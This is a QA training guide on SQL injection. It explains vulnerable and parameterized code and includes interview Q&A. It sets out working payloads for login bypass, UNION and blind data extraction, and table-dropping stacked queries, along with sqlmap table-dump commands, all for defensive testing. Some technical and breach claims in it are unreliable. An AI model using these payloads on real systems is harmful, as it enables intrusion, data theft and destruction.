SQL Injection Security Testing Guide for QA Engineers
What is SQL Injection?
SQL Injection (SQLi) is one of the most dangerous and prevalent security vulnerabilities in web applications. It occurs when an application constructs database queries by directly concatenating user input without proper validation or parameterization. Attackers exploit this by injecting malicious SQL code that fundamentally changes how the query executes.
Imagine a login form where the password is checked with a query like: SELECT * FROM users WHERE email='' + email + '' AND password='' + password + ''. An attacker could enter an email of admin' -- which would create a query that checks if the email is 'admin' and ignores the password check entirely due to the SQL comment (--). This is a complete authentication bypass with a single line of text.
What makes SQL Injection particularly dangerous is that it's both incredibly common (due to poor coding practices) and incredibly easy to exploit (simple text input is all that's needed). It's consistently ranked among the OWASP Top 10 most critical web vulnerabilities.
Definition
SQL Injection is a code injection technique where an attacker inserts or "injects" malicious SQL statements through input fields. If an application constructs SQL queries by concatenating user input without proper protection, attackers can modify the query's logic to bypass authentication, extract sensitive data, or modify/delete database contents.
Why It's Critical for QA
Simple Example
// ❌ VULNERABLE: Direct string concatenation $email = $_POST['email']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE email='" . $email . "' AND password='" . $password . "'"; $result = mysqli_query($connection, $query); // ✅ SECURE: Parameterized query $query = "SELECT * FROM users WHERE email=? AND password=?"; $stmt = mysqli_prepare($connection, $query); mysqli_stmt_bind_param($stmt, "ss", $email, $password); $result = mysqli_stmt_execute($stmt);
What is the difference between SQL Injection and other injection attacks?
SQL Injection specifically targets database queries by injecting malicious SQL code. Other injections (LDAP, OS command, XML) target different system components. All follow the same principle: untrusted input interpreted as code.
Can SQL Injection occur in read-only SELECT queries?
Yes! Attackers can extract sensitive data using UNION-based injection or blind SQL injection. They don't need INSERT/UPDATE/DELETE to cause harm.
Is input validation alone enough to prevent SQL Injection?
No. Input validation should be a defense layer, but parameterized queries are the primary defense. Validation alone is easily bypassed through encoding and filter evasion.
Attack Flow
- Identify Injection Point: Find user inputs that interact with database queries
- Craft Payload: Create SQL code that breaks out of string context
- Inject Payload: Send malicious input through form fields, URLs, or API parameters
- Execute Exploit: Application concatenates payload into query
- Achieve Goal: Bypass auth, extract data, or modify database
Common Injection Points
| Input Type | Example | Vulnerable Pattern |
|---|---|---|
| Login Form | Email, Password field | SELECT * FROM users WHERE email='' AND password='' |
| Search Box | Product search | SELECT * FROM products WHERE name LIKE '' |
| URL Parameters | ?id=123 | SELECT * FROM items WHERE id= |
| API Requests | JSON body | POST data with user-supplied values |
| File Upload | Filename | INSERT INTO logs VALUES (filename) |
Syntax Breaking Technique
-- Original query SELECT * FROM users WHERE email='user@email.com'; -- Attacker enters: ' OR '1'='1 SELECT * FROM users WHERE email='' OR '1'='1'; -- Result: Returns ALL users (1=1 is always true) -- Attacker enters: '; DROP TABLE users; -- SELECT * FROM users WHERE email=''; DROP TABLE users; -- --' -- Result: Two queries executed - SELECT and DROP
Why is finding injection points important in security testing?
Injection points are entry vectors where user input reaches the database. Identifying all input fields (forms, URLs, APIs) helps you test for vulnerabilities systematically before attackers find them.
What's the difference between breaking quote context and using comments?
Quote breaking ends the current string (e.g., ' ends a WHERE condition). Comments (-- or #) ignore remaining SQL syntax, letting you remove password checks or WHERE clauses entirely.
How does an attacker know if injection was successful?
Through observing application behavior: different error messages, page content changes, response delays (time-based), or by extracting data directly (UNION-based). Each attack type has distinct detection methods.
Potential Impacts
CVSS Severity
SQL Injection is rated 9.8 (Critical) because:
- Attack Vector: Network - Exploitable remotely without user interaction
- Privileges Required: None - No authentication needed
- Impact: Complete loss of confidentiality, integrity, and availability
- Prevalence: Very common in legacy and poorly-reviewed code
Why is SQL Injection rated 9.8 Critical?
Because it requires no authentication, can be exploited over network, and has maximum impact on confidentiality (read all data), integrity (modify all data), and availability (delete/drop all data).
What's the financial impact of a SQL injection breach?
Direct costs: regulatory fines (GDPR €20M+, HIPAA $100M+), data breach notifications, legal fees. Indirect: reputation damage, customer loss, stock price drop (Yahoo lost $350M in valuation).
How does SQL Injection differ in severity from other vulnerabilities?
SQL Injection is unique because it provides direct database access - attackers don't need to be logged in. XSS and CSRF require user interaction. SQLi is immediately exploitable with simple payloads.
How It Works
Most login forms check: SELECT * FROM users WHERE email='X' AND password='Y'
By injecting SQL operators, attackers make the condition always evaluate to TRUE.
-- Original secure query would be: SELECT * FROM users WHERE email='user@email.com' AND password='hash123'; -- ❌ Attack 1: Comment out password check -- Input email: admin'-- SELECT * FROM users WHERE email='admin'--' AND password=''; -- Result: Returns admin user, any password accepted -- ❌ Attack 2: OR condition -- Input email: ' OR '1'='1 SELECT * FROM users WHERE email='' OR '1'='1' AND password=''; -- Result: Returns first user (1=1 is always true) -- ❌ Attack 3: End quote and OR -- Input email: admin' OR '1'='1 SELECT * FROM users WHERE email='admin' OR '1'='1' AND password=''; -- Result: Returns all users
Prevention
- Use parameterized queries / prepared statements
- Implement account lockout after failed attempts
- Use strong password hashing (bcrypt, Argon2)
- Add CAPTCHA after multiple failed logins
Why does the comment technique (admin'--) bypass password checks?
SQL comments (-- or #) ignore everything after them. So 'admin'-- makes the query: SELECT * FROM users WHERE email='admin'-- AND password=... The AND condition is commented out, removed from execution.
Which is more dangerous: comment or OR technique?
Comment technique is more predictable. OR technique ('1'='1') is more flexible - it works even if comments are filtered. Both completely bypass authentication with simple payloads.
How would you test for authentication bypass vulnerabilities?
Try basic payloads: admin'-- , ' OR '1'='1, admin' OR '1'='1'--, etc. in both email and password fields. If any returns a user without proper credentials, the vulnerability exists.
Bypassing Authorization Checks
Apps often filter data by ownership: SELECT * FROM orders WHERE user_id = 5 AND status = 'active'
Attackers can modify the WHERE clause to access other users' data.
-- Original query (secure with parameterization) SELECT * FROM orders WHERE user_id=5 AND status='active'; -- ❌ Attack: Inject OR to bypass user_id check -- Input status: active' OR '1'='1 SELECT * FROM orders WHERE user_id=5 AND status='active' OR '1'='1'; -- Result: Returns all orders (1=1 always true) -- ❌ Attack: OR with comment to ignore remaining condition -- Input status: active' OR 1=1-- SELECT * FROM orders WHERE user_id=5 AND status='active' OR 1=1--; -- Result: All orders returned
How is logic manipulation different from authentication bypass?
Auth bypass: attacker doesn't log in at all. Logic manipulation: attacker is logged in but modifies WHERE clause to see other users' data. Same injection technique, different impact.
Why is this type of vulnerability dangerous for multi-tenant apps?
Users can access other customers' sensitive data without proper authorization. In SaaS platforms, this means one customer sees another's private information - huge compliance violation.
How would you identify logic manipulation vulnerabilities in testing?
Intercept requests to endpoints that filter by user_id. Try injecting ' OR 1=1 or ' OR 'a'='a' into filter parameters. If you see other users' data, vulnerability exists.
What is Blind SQL Injection?
In blind SQL injection, the attacker cannot see query results directly, but can infer information through response differences.
Types of Blind SQL Injection
1. Boolean-Based Blind SQL Injection
Attacker crafts conditions that return TRUE or FALSE, observing page content differences.
-- Original: SELECT * FROM users WHERE id=1 -- Payload 1: id=1' AND '1'='1 (TRUE condition) -- Application shows normal page → Payload works -- Payload 2: id=1' AND '1'='2 (FALSE condition) -- Application shows error page → Condition failed -- Extract data character by character: -- id=1' AND SUBSTRING(password,1,1)='a'-- -- If page shows normally, first char is 'a'
2. Time-Based Blind SQL Injection
Attacker uses database delays (SLEEP, WAITFOR) to measure response time.
-- If condition is TRUE, sleep for 5 seconds -- Payload: id=1' AND IF(1=1, SLEEP(5), 0)-- -- If page takes 5+ seconds, condition was TRUE -- Extract password character by character: -- id=1' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)-- -- If 5 second delay → First char is 'a' -- If instant response → Try next character
Why is blind SQL injection harder to detect than union-based?
Blind injection doesn't return visible data - attacker infers truth/falsehood from subtle changes (page content, timing). Tools can't directly see results. Detection relies on behavioral analysis.
How would you test for blind SQL injection?
Send TRUE and FALSE payloads, compare responses. For boolean: look for page differences. For time-based: measure response time with and without delays. Automated tools iterate through characters.
Why is time-based blind injection more reliable than boolean-based?
Timing is objective and measurable (5 second delay is clear). Boolean-based relies on detecting subtle page changes which can be unreliable with caching, similar responses, etc.
How Time-Based Attacks Work
When blind injection payloads can't be detected by page content changes, attackers use delays.
Common Delay Functions
| Database | Delay Function | Example |
|---|---|---|
| MySQL | SLEEP() | SLEEP(5) |
| SQL Server | WAITFOR DELAY | WAITFOR DELAY '00:00:05' |
| PostgreSQL | pg_sleep() | pg_sleep(5) |
| Oracle | DBMS_LOCK.SLEEP() | DBMS_LOCK.SLEEP(5) |
Attack Example
-- Confirm injection: Always delay if vulnerable -- id=1' AND SLEEP(5)-- -- Extract first password character: -- id=1' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)-- -- Automated tools iterate through all characters a-z, 0-9 -- Each character takes ~5 seconds + network latency -- Full password extraction pseudocode: FOR position = 1 TO max_length FOR character IN [a-z, A-Z, 0-9] payload = "IF(SUBSTRING(password," + position + ",1)='" + character + "', SLEEP(5), 0)" IF response_time > 4.5 password[position] = character BREAK
Why are time-based delays detectable?
SLEEP() functions block database execution for specified duration. If query takes 5+ seconds and normally takes <100ms, it's clear the SLEEP was triggered, meaning the condition was TRUE.
What's the tradeoff between boolean and time-based blind injection?
Boolean: Fast but requires detecting subtle page differences. Time-based: Slow (5 seconds per character!) but more reliable - timing is objective.
How would you defend against time-based injection?
Parameterized queries (primary). Also: normalize response times (add random delays), timeout long queries, implement WAF rules detecting SLEEP/WAITFOR syntax.
What is UNION-Based Injection?
UNION combines results from multiple SELECT statements. Attackers append UNION queries to extract data directly.
Step-by-Step Attack
- Find number of columns: ORDER BY 1,2,3... until error
- Identify string column: UNION SELECT 1,@@version,3...
- Extract data: UNION SELECT user(),database(),version()...
Example Attack
-- Original vulnerable query: -- SELECT id, name, email FROM users WHERE category='abc' -- Step 1: Find column count (try until no error) -- Input: abc' ORDER BY 3-- SELECT id, name, email FROM users WHERE category='abc' ORDER BY 3--' -- SUCCESS: 3 columns exist -- Step 2: Find string column position -- Input: abc' UNION SELECT 1,2,3-- SELECT id, name, email FROM users WHERE category='abc' UNION SELECT 1,2,3--' -- Shows: 1, 2, 3 - all are convertible -- Step 3: Extract sensitive data -- Input: abc' UNION SELECT user(),database(),version()-- SELECT id, name, email FROM users WHERE category='abc' UNION SELECT user(),database(),version()--' -- Shows: root, myapp_db, 5.7.22 -- Step 4: Extract database tables -- Input: abc' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -- Shows all table names
Why does ORDER BY help find column count?
ORDER BY requires matching columns. ORDER BY 3 succeeds if 3+ columns exist, errors if not. By trying increasing numbers, attacker finds exact column count needed for UNION.
Why must data types match in UNION SELECT?
UNION requires all SELECT statements to have compatible column data types. String columns can't directly UNION with integer columns - attacker must cast/convert types to match.
How is UNION-based faster than blind injection?
UNION directly returns data in visible results - no character-by-character guessing. Attacker gets database version, user, table names instantly. Blind injection takes seconds per character.
What are Stacked Queries?
Multiple SQL statements separated by semicolons. If the application executes them sequentially, attackers can execute any SQL statement.
Destructive Attack Example
-- Vulnerable code: $query = "SELECT * FROM orders WHERE id='" + $id + "'"; -- ❌ DANGEROUS: Attacker input -- id: 1'; DROP TABLE orders; -- -- Results in execution of: SELECT * FROM orders WHERE id='1'; DROP TABLE orders; -- -- -- ❌ Data theft via INSERT INTO... SELECT -- id: 1'; INSERT INTO attacker_table SELECT * FROM credit_cards; -- -- ❌ Privilege escalation -- id: 1'; UPDATE users SET role='admin' WHERE id=1; --
Database Support
Not all databases support stacked queries:
- MySQL (via mysqli_multi_query): YES - Supported
- SQL Server: YES - Fully supported
- PostgreSQL: YES - Supported
- PDO (PHP): NO - Blocked by default (most secure)
- Parameterized queries: NO - Prevented by design
Why are stacked queries more dangerous than UNION injection?
UNION can only SELECT data. Stacked queries execute ANY statement - DROP TABLE, DELETE, UPDATE, INSERT. Complete data destruction or system compromise.
Why does PDO block stacked queries by default?
PDO prepares and execute statements through the driver layer. Multi-statement execution requires explicit mysqli_multi_query() - PDO disallows it, making PHP's default safer.
How would you detect stacked query vulnerability?
Try adding '; SELECT 1; -- which should error if not vulnerable. On vulnerable systems, both statements execute. Monitor for unusual query patterns in database logs.
How Parameterized Queries Work
Placeholders (?) are sent to database separately from data. Database treats all input as data, never as executable code.
// ❌ VULNERABLE $email = $_POST['email']; $query = "SELECT * FROM users WHERE email='" . $email . "'"; $result = mysqli_query($conn, $query); // ✅ SECURE: Prepared Statement with Placeholders $email = $_POST['email']; $query = "SELECT * FROM users WHERE email=?"; $stmt = mysqli_prepare($conn, $query); mysqli_stmt_bind_param($stmt, "s", $email); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt);
# ❌ VULNERABLE: String formatting query = f"SELECT * FROM users WHERE email='{email}'" cursor.execute(query) # ✅ SECURE: Parameterized query query = "SELECT * FROM users WHERE email=?" cursor.execute(query, (email,)) # ✅ SECURE: Using ORM (Django) User.objects.filter(email=email)
Why It's Secure
- SQL structure is defined in code (trusted source)
- User input treated as literal data, never parsed as code
- Database driver handles escaping automatically
- Even `' OR '1'='1` is treated as a string value, not SQL syntax
Defense in Depth: Validation Layer
While parameterized queries are primary defense, input validation adds security layers.
Validation Strategies
Validation Examples
// ✅ Email validation $email = $_POST['email']; if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { die("Invalid email"); } // ✅ Integer validation $id = $_GET['id']; if (!is_numeric($id) || $id < 1) { die("Invalid ID"); } $id = (int)$id; // Cast to ensure type // ✅ Enum validation (whitelist) $status = $_POST['status']; $allowed_statuses = ['pending', 'active', 'inactive']; if (!in_array($status, $allowed_statuses)) { die("Invalid status"); }
Character Escaping (Not Recommended as Primary Defense)
Manually escaping SQL metacharacters is error-prone and should NOT be your primary defense.
Why Escaping Fails
- Encoding bypasses: Attackers use hex encoding, unicode, double encoding
- Character set issues: Different databases handle escaping differently
- Developer mistakes: Easy to forget escaping in some fields
- Not suitable for all contexts: Doesn't work for table/column names
ORM Frameworks (Preferred)
Object-Relational Mapping tools automatically use parameterized queries.
# ✅ Django ORM (automatically parameterized) User.objects.filter(email=email) # SELECT * FROM auth_user WHERE email = %s # ✅ Multiple conditions User.objects.filter(email=email, status='active') # ✅ Complex queries with Q objects from django.db.models import Q User.objects.filter(Q(email=email) | Q(username=username))
// ✅ Sequelize (automatically parameterized) User.findAll({ where: { email: email } }) // ✅ Raw queries (ALWAYS use sequelize.literal for params) User.findAll({ where: sequelize.where( sequelize.fn('LOWER', sequelize.col('email')), Op.eq, email.toLowerCase() ) })
Security Principles
- Principle of Least Privilege: Database user should only have permissions needed (no DROP, CREATE, etc.)
- Principle of Defense in Depth: Multiple layers - parameterized queries + validation + escaping + WAF
- Fail Secure: If validation fails, deny access (not default allow)
- Secure by Default: Use frameworks and libraries that are secure out-of-box
Database Security Checklist
- All dynamic queries use parameterized queries
- Input validation with whitelists implemented
- Database user has minimal required privileges
- Error messages don't expose database details
- Sensitive data is encrypted at rest and in transit
- Database activity is logged and monitored
- Regular security code reviews and testing
- SQL injection testing included in QA process
Common Mistakes to Avoid
// ❌ WRONG: Parameterizing table/column names (not possible) $column = $_GET['column']; $query = "SELECT ? FROM users"; // Doesn't work! // ✅ RIGHT: Whitelist table/column names $allowed_columns = ['id', 'name', 'email']; $column = $_GET['column']; if (!in_array($column, $allowed_columns)) { die("Invalid column"); } $query = "SELECT " . $column . " FROM users WHERE id=?"; // ❌ WRONG: Escaping in the wrong context $field = mysqli_real_escape_string($conn, $_POST['field']); $query = "SELECT * FROM " . $field . ";"; // Not safe for table names! // ✅ RIGHT: Use parameterized query $query = "SELECT * FROM users WHERE name=?"; mysqli_stmt_bind_param($stmt, "s", $_POST['field']);
QA Testing Approach
As a QA engineer, your role includes security testing for SQL injection vulnerabilities.
Manual Testing Steps
- Identify all input fields: Forms, URL parameters, APIs, file uploads
- Test with basic payloads: Start with simple SQL syntax breakers
- Observe application behavior: Errors, delays, data changes
- Try different injection types: UNION, Boolean, Time-based, Stacked
- Document findings: Reproduce steps and severity assessment
- Verify fixes: Re-test after developers implement patches
Testing Payloads (Non-Destructive)
-- Test 1: Basic syntax check (quote breaking) ' " '-- "-- ';-- ";-- -- Test 2: Boolean-based blind (no errors expected) ' AND '1'='1 ' AND '1'='2 1' AND '1'='1 1' AND '1'='2 -- Test 3: UNION-based (find columns) ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ' UNION SELECT NULL,NULL,NULL-- -- Test 4: Information gathering (non-destructive) ' AND 1=1-- ' AND @@version IS NOT NULL-- ' AND 1=1 UNION SELECT database(),user(),version()-- -- DO NOT TEST (destructive) -- '; DROP TABLE users; -- -- '; DELETE FROM records; --
Automated SQL Injection Scanning Tools
| Tool | Type | Purpose | Cost |
|---|---|---|---|
| OWASP ZAP | Web Scanner | Automated SQL injection detection | Open Source |
| Burp Suite | Proxy + Scanner | Manual + automated testing, payload generation | Freemium |
| SQLMap | CLI Tool | Automated SQL injection exploitation | Open Source |
| Acunetix | Web Scanner | Enterprise security scanning | Commercial |
| Nessus | Vulnerability Scanner | Comprehensive security assessment | Commercial |
SQLMap Basic Usage
# Test URL for SQL injection vulnerability sqlmap -u "http://target.com/page.php?id=1" --batch # Test specific parameter sqlmap -u "http://target.com/search.php?q=test" -p q --batch # Test POST request sqlmap -u "http://target.com/login.php" --data="email=test&password=test" --batch # Enumerate databases (if vulnerable) sqlmap -u "http://target.com/page.php?id=1" --dbs # Extract table names sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables # Dump specific table (use carefully on staging only!) sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
String Breaking Payloads
-- Quote escape ' " ''' -- Comment syntax -- # /**/ --+ -- - -- OR condition (always true) ' OR '1'='1 ' OR 1=1-- ' OR 'a'='a admin' OR '1'='1' -- -- AND condition logic ' AND '1'='1 ' AND 1=1-- ' AND sleep(5)--
Advanced Payloads
-- UNION-based extraction ' UNION SELECT NULL,user(),database()-- ' UNION SELECT table_name FROM information_schema.tables-- ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -- Time-based blind ' AND SLEEP(5)-- ' AND IF(1=1, SLEEP(5), 0)-- ' AND (SELECT SLEEP(5) FROM users WHERE id=1)-- -- Boolean-based blind ' AND SUBSTRING(password,1,1)='a'-- ' AND (SELECT COUNT(*) FROM users WHERE id=1)>0-- ' AND CAST(@@version AS UNSIGNED) > 0-- -- Stacked queries (multiple statements) '; DROP TABLE users; -- '; UPDATE users SET admin=1 WHERE id=1; -- '; INSERT INTO backdoor VALUES (1,'hack'); --
Notable Breaches
Case 1: Sony Pictures (2014)
Vulnerability: SQL injection in web applications
Impact: 100GB of data stolen, major financial loss, business disruption
Lesson: Even major corporations are not immune. Security is ongoing, not one-time.
Case 2: Yahoo Data Breach (2013)
Vulnerability: Multiple security issues including SQL injection
Impact: 3 billion users affected, company value reduced by $350M
Lesson: SQL injection vulnerabilities often exist alongside other security gaps.
Case 3: TalkTalk Telecom (2015)
Vulnerability: SQL injection on their web portal
Impact: 157,000 customers' personal data exposed, £35M fine under investigation
Lesson: Customer data requires strong protection. Regulatory fines add to financial impact.
Why These Breaches Happened
- String concatenation instead of parameterized queries
- Legacy code not updated to security standards
- Inadequate security testing and code reviews
- Error messages exposing database details
- Database user had excessive privileges (could drop tables)
Interview Questions About These Cases
How could the Sony breach have been prevented?
Using parameterized queries, input validation, WAF rules, least privilege database accounts, and regular security code reviews.
Why is legacy code a SQL injection risk?
Older code was often written with string concatenation before parameterized queries were standard. These systems may never have been updated.
What's your role as QA in preventing this?
Include SQL injection testing in security test cases, report vulnerabilities immediately, verify fixes, and educate developers on secure coding.